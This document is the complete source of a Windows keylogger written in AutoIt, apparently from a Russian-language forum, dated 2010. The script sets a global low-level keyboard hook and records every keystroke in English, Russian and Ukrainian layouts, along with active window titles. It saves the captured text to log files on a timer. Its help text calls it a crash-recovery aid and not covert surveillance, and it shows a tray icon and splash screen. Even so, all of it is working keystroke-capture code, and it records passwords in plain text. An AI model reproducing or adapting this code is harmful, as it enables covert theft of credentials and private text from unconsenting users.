; http://autoit-script.ru/index.php/topic,143.0.html ; http://forum.oszone.net/thread-148585-2.html #Region [i];**** Directives created by AutoIt3Wrapper_GUI ****[/i] #AutoIt3Wrapper_OutFile=KeyLoger.exe #AutoIt3Wrapper_icon=KeyLoger.ico #AutoIt3Wrapper_Compression=4 #AutoIt3Wrapper_UseAnsi=y #AutoIt3Wrapper_Res_Comment=- #AutoIt3Wrapper_Res_Description=KeyLoger.exe #AutoIt3Wrapper_Res_Fileversion=0.1.0.0 [i]#AutoIt3Wrapper_Res_Fileversion_AutoIncrement=n[/i] #AutoIt3Wrapper_Res_LegalCopyright=AZJIO #AutoIt3Wrapper_Res_Language=1049 #AutoIt3Wrapper_Run_AU3Check=n #EndRegion [i];**** Directives created by AutoIt3Wrapper_GUI ****[/i] ; @AZJIO 6.11.2010 (AutoIt3_v3.2.12.1...v3.3.6.1) Global Const $WH_KEYBOARD_LL = 13 Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr") Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0) Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _ "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0) Global $Text, $TrSv=0, $WinCurent, $WinTmp='', $KolSum0=2000, $Timer0=5, $TrIgn=0, $TrWin=0, $Size0=100 $Ini=@ScriptDir&'\KeyLoger.ini' If Not FileExists($Ini) Then $otvet=MsgBox(4, 'Выгодное предложение', 'Хотите создать необходимый KeyLoger.ini?'&@CRLF&'Иначе выход.') If $otvet=6 Then $file = FileOpen($Ini,2) FileWrite($file, '[setting]' & @CRLF & _ 'KolSum=2000' & @CRLF & _ 'Timer=5' & @CRLF & _ 'Size=100' & @CRLF & _ 'TrIgn=1' & @CRLF & _ 'TrWin=1' & @CRLF & _ 'TrSv=0') FileClose($file) If Not FileExists($Ini) Then MsgBox(0, 'Ошибка', 'Отсутствует KeyLoger.ini.') Exit EndIf Else Exit EndIf EndIf $TrSv = IniRead ($Ini, 'setting', 'TrSv', 0) $TrWin = IniRead ($Ini, 'setting', 'TrWin', 0) $TrIgn = IniRead ($Ini, 'setting', 'TrIgn', 0) $Size0 = IniRead ($Ini, 'setting', 'Size', 0) $Timer0 = IniRead ($Ini, 'setting', 'Timer', 5) $KolSum0 = IniRead ($Ini, 'setting', 'KolSum', 2000) Opt("TrayMenuMode", 3) Opt("TrayOnEventMode", 1) If @compiled=0 Then TraySetIcon("KeyLoger.ico",3) Global Const $WinName='KeyLoger' If WinExists($WinName) Then Exit $GuiPop = GUICreate($WinName, 300, 130, -1, -1, 0x80000000+0x00040000, 0x00000020+0x00000080) GUISetBkColor(0x3f3f3f) $Label=GUICtrlCreateLabel('Старт '&$WinName, 0, 0, 300, 130, 0x0200+0x1) GUICtrlSetFont(-1, 20, 700, 'Arial') GUICtrlSetColor(-1, 0xffd7d7) GUISetState() For $i = 255 to 0 step -1 WinSetTrans($GuiPop,"",$i) Sleep(10) Next GUISetState(@SW_HIDE) TraySetToolTip($WinName) $Item1=TrayCreateItem("Буфер KeyLoger") TrayItemSetOnEvent(-1, "_TextinGui") $Item2=TrayCreateItem("Справка") TrayItemSetOnEvent(-1, "_Help") $Item3=TrayCreateItem("Выход") TrayItemSetOnEvent(-1, "OnAutoItExit") If $TrSv=1 Then AdlibRegister('_AutoSave', $Timer0*60000) While 1 Sleep(1000) WEnd Func _Help() MsgBox(0, 'Справка', "Утилита KeyLoger предназначена для слежения за нажатием клавиш клавиатуры и позволяет восстановить набранный текст из буфера KeyLoger при зависании программы, в который набирался этот текст (браузер или текстовый редактор)."&@CRLF&"Утилита не предназначена для скрытого слежения, поэтому иконка выведена в трей и при запуске отображается заставка."&@CRLF&"При использовании утилиты учитывайте, что в буфере KeyLoger'а может оказаться пароль или другие конфиденциальные данные. Поэтому остальная ответственность ложится на пользователя.") EndFunc Func _TextinGui() TrayItemSetState($Item1,128) TrayItemSetState($Item2,128) TrayItemSetState($Item3,128) Local $Gui, $Edit, $AutoSave, $KolSum, $Timer, $Size, $Ignore, $IgnWin, $filename, $aText $Gui = GUICreate('Буфер KeyLoger', 600, 450);, -1, -1, -1, 0x00000080 $Edit=GUICtrlCreateEdit($Text, 5, 5, 410, 440, 0x0004+0x0040+0x1000+0x00200000) ; $Edit=GUICtrlCreateEdit($Text, 5, 5, 410, 440);, 0x0004 GUICtrlCreateGroup('', 418, 4, 178, 120) $AutoSave=GUICtrlCreateCheckbox('Автосохранение', 425, 15, 120, 17) If $TrSv=1 Then GUICtrlSetState(-1, 1) GUICtrlCreateLabel('Колич. симв. для сохран.', 425, 37, 123, 17) $KolSum=GUICtrlCreateInput($KolSum0, 550, 34, 40, 20) GUICtrlCreateLabel('Интервал проверки, мин', 425, 60, 133, 17) $Timer=GUICtrlCreateInput($Timer0, 560, 58, 30, 20) GUICtrlCreateLabel('Миним. разм, файла, кб'&@CRLF&'для записи в новый', 425, 83, 133, 34) $Size=GUICtrlCreateInput($Size0, 560, 81, 30, 20) $Ignore=GUICtrlCreateCheckbox('Игнорировать спец-клавиши', 425, 140, 170, 16) If $TrIgn=1 Then GUICtrlSetState(-1, 1) $IgnWin=GUICtrlCreateCheckbox('Игнорировать имена окон', 425, 160, 170, 16) If $TrWin=1 Then GUICtrlSetState(-1, 1) GUICtrlCreateLabel('Редактирование текста'&@CRLF&'игнорируется в логе', 425, 400, 170, 34) GUISetState() ControlFocus($Gui, '', $Edit) Send('^{END}') While 1 $msg = GUIGetMsg() Select Case $msg = $IgnWin If GUICtrlRead($IgnWin)=1 Then $TrWin=1 Else $TrWin=0 EndIf IniWrite($Ini, 'setting', 'TrWin', $TrWin) Case $msg = $Ignore If GUICtrlRead($Ignore)=1 Then $TrIgn=1 Else $TrIgn=0 EndIf IniWrite($Ini, 'setting', 'TrIgn', $TrIgn) Case $msg = $AutoSave $KolSum0=GUICtrlRead($KolSum) $Timer0=GUICtrlRead($Timer) $Size0=GUICtrlRead($Size) If GUICtrlRead($AutoSave)=1 Then $TrSv=1 AdlibRegister('_AutoSave', $Timer0*60000) Else $TrSv=0 AdlibUnRegister('_AutoSave') EndIf IniWrite($Ini, 'setting', 'TrSv', $TrSv) IniWrite($Ini, 'setting', 'Timer', $Timer0) IniWrite($Ini, 'setting', 'KolSum', $KolSum0) IniWrite($Ini, 'setting', 'Size', $Size0) Case $msg = -3 If $Size0<>GUICtrlRead($Size) Then $Size0=GUICtrlRead($Size) IniWrite($Ini, 'setting', 'Size', $Size0) EndIf If $KolSum0<>GUICtrlRead($KolSum) Then $KolSum0=GUICtrlRead($KolSum) IniWrite($Ini, 'setting', 'KolSum', $KolSum0) EndIf If $Timer0<>GUICtrlRead($Timer) Then $Timer0=GUICtrlRead($Timer) IniWrite($Ini, 'setting', 'Timer', $Timer0) AdlibUnRegister('_AutoSave') AdlibRegister('_AutoSave', $Timer0*60000) EndIf GUIDelete($Gui) If StringRegExp($Text,'(?s).*\r\nCtrl\+\r\nEnd\r\n$', 0) Then $Text=StringTrimRight($Text, 13) TrayItemSetState($Item1,64) TrayItemSetState($Item2,64) TrayItemSetState($Item3,64) ExitLoop EndSelect WEnd EndFunc Func _AutoSave() If StringLen($Text)>$KolSum0 Then $i = 0 Do $i+=1 Until Not FileExists(@ScriptDir&'\KeyLog_'&$i&'.log') Dim $filename=@ScriptDir&'\KeyLog_'&$i-1&'.log' If FileGetSize($filename)>$Size0*1024 Then $filename=@ScriptDir&'\KeyLog_'&$i&'.log' $Text=StringRegExpReplace($Text, '(\r\n){2,}', @CRLF&@CRLF) ;удаляем многократные переходы строк $aText=StringRegExp($Text,'(?s)(^.*)\r\n(.*)$',3) If @Error Then Local $file = FileOpen($filename,1) FileWrite($file, @CRLF&@MDAY&"."&@MON&"."&@YEAR&" - "&@HOUR&":"&@MIN&":"&@SEC&@CRLF&$Text) FileClose($file) $Text='' Else If UBound($aText)=2 Then Local $file = FileOpen($filename,1) FileWrite($file, @CRLF&@MDAY&"."&@MON&"."&@YEAR&" - "&@HOUR&":"&@MIN&":"&@SEC&@CRLF&$aText[0]) FileClose($file) $Text=$aText[1] EndIf EndIf EndIf EndFunc Func _Key_Proc($nCode, $wParam, $lParam) Local $aRet, $KEYHOOKSTRUCT If $nCode < 0 Then $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam) Return $aRet[0] EndIf If $wParam = 256 Then $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam) _EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1)) EndIf $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam) Return $aRet[0] EndFunc Func _EvaluateKey_Proc($nKeyCode) Local $sCapt_Codes, $sEng_Codes, $sEngShift_Codes, $sRus_Codes, $sRusShift_Codes, $sUkr_Codes, $sUkrShift_Codes Local $aCapture_Codes, $aEng_Codes, $aEngShift_Codes, $aRus_Codes, $aRusShift_Codes, $aUkr_Codes, $aUkrShift_Codes Local $sChar If $TrWin=0 Then $WinCurent=WinGetHandle("[ACTIVE]") If $WinTmp<>$WinCurent Then $Text&=@CRLF&'======= '&WinGetTitle("[ACTIVE]")&' ======='&@CRLF $WinTmp=$WinCurent EndIf EndIf If $TrIgn=0 Then Switch $nKeyCode Case 27 $Text&=@CRLF&'Esc'&@CRLF Case 44 $Text&=@CRLF&'Print Screen / SysRq'&@CRLF Case 145 $Text&=@CRLF&'Scroll Lock'&@CRLF Case 19 $Text&=@CRLF&'Pause / Breack'&@CRLF Case 45 $Text&=@CRLF&'Insert'&@CRLF Case 46 $Text&=@CRLF&'Delete'&@CRLF Case 36 $Text&=@CRLF&'Home'&@CRLF Case 35 $Text&=@CRLF&'End'&@CRLF Case 33 $Text&=@CRLF&'Page Up'&@CRLF Case 34 $Text&=@CRLF&'Page Down'&@CRLF Case 37 $Text&=@CRLF&'Left'&@CRLF Case 38 $Text&=@CRLF&'Up'&@CRLF Case 39 $Text&=@CRLF&'Right'&@CRLF Case 40 $Text&=@CRLF&'Down'&@CRLF Case 112 To 127 $F=$nKeyCode-111 If Not StringRegExp($Text,'(?s).*\r\nF'&$F&'-$', 0) Then $Text&=@CRLF&'F'&$F&'-' Case 160, 161 ; слишком фонит эта клавиша при наборе текстов, выключаем её из лога ; $Text&=@CRLF&'Shift'&@CRLF Case 20 If Not StringRegExp($Text,'(?s).*\r\nCaps Lock - $', 0) Then $Text&=@CRLF&'Caps Lock - ' Case 144 $Text&=@CRLF&'Num Lock'&@CRLF Case 91 If Not StringRegExp($Text,'(?s).*\r\nWinL\+$', 0) Then $Text&=@CRLF&'WinL+' Case 92 If Not StringRegExp($Text,'(?s).*\r\nWinR\+$', 0) Then $Text&=@CRLF&'WinR+' Case 162, 163 If Not StringRegExp($Text,'(?s).*\r\nCtrl\+$', 0) Then $Text&=@CRLF&'Ctrl+' Case 164, 165 If Not StringRegExp($Text,'(?s).*\r\nAlt\+$', 0) Then $Text&=@CRLF&'Alt+' Case 8 $Text&=@CRLF&'BackSpace'&@CRLF EndSwitch EndIf If $TrIgn=1 And(_IsPressed(11) Or _IsPressed(12)) Then Return Else Switch $nKeyCode ; Case ; $Text&=@CRLF&&@CRLF ; Case ; $Text&=@CRLF&&@CRLF ; Case ; $Text&=@CRLF&&@CRLF Case 111 $Text&='/' Case 106 $Text&='*' Case 109 $Text&='-' Case 107 $Text&='+' Case 110 $Text&='.' Case 96 To 105 $Text&=$nKeyCode-96 Case 9 $Text&=' ' Case 13 $Text&=@CRLF Case 226, 220 If _IsPressed(10) Then ; если нажата клавиша Shift Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]")) Case 0409 $Text&='|' Case 0419, 0422 $Text&='/' EndSwitch Else ; если не нажата клавиша Shift $Text&='\' EndIf ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0. Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222, 32 $aCapture_Codes = "АQWERTYUIOPЫЭASDFGHJKLєЮZXCVBNMјѕї 1234567890Ѕ»" $aEng_Codes = StringSplit("`qwertyuiop[]asdfghjkl;'zxcvbnm,./ 1234567890-=", '') $aEngShift_Codes = StringSplit('~QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?' & ' !@#$%^&*()_+', '') $aRus_Codes = StringSplit("ёйцукенгшщзхъфывапролджэячсмитьбю." & " 1234567890-=", '') $aRusShift_Codes = StringSplit('ЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,' & ' !"№;%*()_+', '') $aUkr_Codes = StringSplit("'йцукеягшщзхЇфівапролджєнчсмитьбю. 1234567890-=", '') $aUkrShift_Codes = StringSplit("ЙЦУКЕЯГШЩЗХЇФІВАПРОЛДЖЄНЧСМИТЬБЮ," & ' !"№;%*()_+', '') Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]")) Case 0409 ;Если раскладка английская If _IsPressed(10) Then ; если нажата клавиша Shift $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes) Else ; если не нажата клавиша Shift $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes) EndIf Case 0419 ;Если расскладка русская If _IsPressed(10) Then ; если нажата клавиша Shift $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes) Else ; если не нажата клавиша Shift $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes) EndIf Case 0422 ;Если расскладка украинская If _IsPressed(10) Then ; если нажата клавиша Shift $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes) Else ; если не нажата клавиша Shift $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes) EndIf EndSwitch $Text&=$sChar ; Case Else ; если была нажата иная клавиша, то добавляем её код. ; If StringRegExp($Text,'(?s).*\r\nкод клавиши = [\d,]+\r\n$', 0) Then ; $Text=StringTrimRight($Text, 2) ; $Text&=','&$nKeyCode &@CRLF ; Else ; $Text&=@CRLF&'код клавиши = '&$nKeyCode &@CRLF ; EndIf EndSwitch EndIf EndFunc ;Функция для замены кодов нажатых клавиш с массива Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array) Local $n=StringInStr($aSearch_Array, Chr($nKeyCode), 1) $nKeyCode = Asc($aReplace_Array[$n]) Return Chr($nKeyCode) EndFunc ;функция позволяет узнать язык текущей расскладки клавиатуры Func _WinGetKeyboardLayout($hWnd) Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0) $aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0]) Return "0000" & Hex($aRet[0], 4) EndFunc Func OnAutoItExit() If $TrSv=1 Then $KolSum0=0 Global $filename _AutoSave() EndIf Exit EndFunc Func _IsPressed($sHexKey, $vDLL = 'user32.dll') Local $a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", '0x' & $sHexKey) If @error Then Return SetError(@error, @extended, False) Return BitAND($a_R[0], 0x8000) <> 0 EndFunc |